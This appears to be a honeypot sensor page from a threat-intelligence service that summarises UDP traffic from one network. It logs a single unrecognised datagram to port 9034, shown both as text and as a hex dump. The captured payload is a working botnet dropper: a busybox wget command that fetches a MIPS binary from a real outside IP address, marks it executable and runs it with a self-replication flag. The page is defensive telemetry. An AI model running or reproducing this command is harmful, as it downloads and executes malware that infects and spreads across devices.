HoneyLabs

UDP traffic

Datagrams matching asn:398721 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

1

Datagrams

1

Source addresses

1

Networks

1

Countries

1

Destination ports

Traffic by type

Unrecognised

1 datagrams from 1 source

Datagrams no decoder recognised. Their first bytes are kept.

Latest Unrecognised datagram, to 9034/udp

orf;cd /tmp; rm -rf alya.mpsl; /bin/busybox wget http://202.110.70.60:800/alya.mipsel; chmod +x alya.mipsel; ./alya.mipsel rt.selfrep; #

payload bytes
00000000  6f 72 66 3b 63 64 20 2f  74 6d 70 3b 20 72 6d 20  |orf;cd /tmp; rm |
00000010  2d 72 66 20 61 6c 79 61  2e 6d 70 73 6c 3b 20 2f  |-rf alya.mpsl; /|
00000020  62 69 6e 2f 62 75 73 79  62 6f 78 20 77 67 65 74  |bin/busybox wget|
00000030  20 68 74 74 70 3a 2f 2f  32 30 32 2e 31 31 30 2e  | http://202.110.|
00000040  37 30 2e 36 30 3a 38 30  30 2f 61 6c 79 61 2e 6d  |70.60:800/alya.m|
00000050  69 70 73 65 6c 3b 20 63  68 6d 6f 64 20 2b 78 20  |ipsel; chmod +x |
00000060  61 6c 79 61 2e 6d 69 70  73 65 6c 3b 20 2e 2f 61  |alya.mipsel; ./a|
00000070  6c 79 61 2e 6d 69 70 73  65 6c 20 72 74 2e 73 65  |lya.mipsel rt.se|
00000080  6c 66 72 65 70 3b 20 23                           |lfrep; #|

Destination ports

Networks

Countries

Source addresses (unverified)

AddressNetworkCcSendsDatagramsLast seen (UTC)
38.147.248.154AS398721 OXIOCAUnrecognised12026-10-05 16:54

Latest datagrams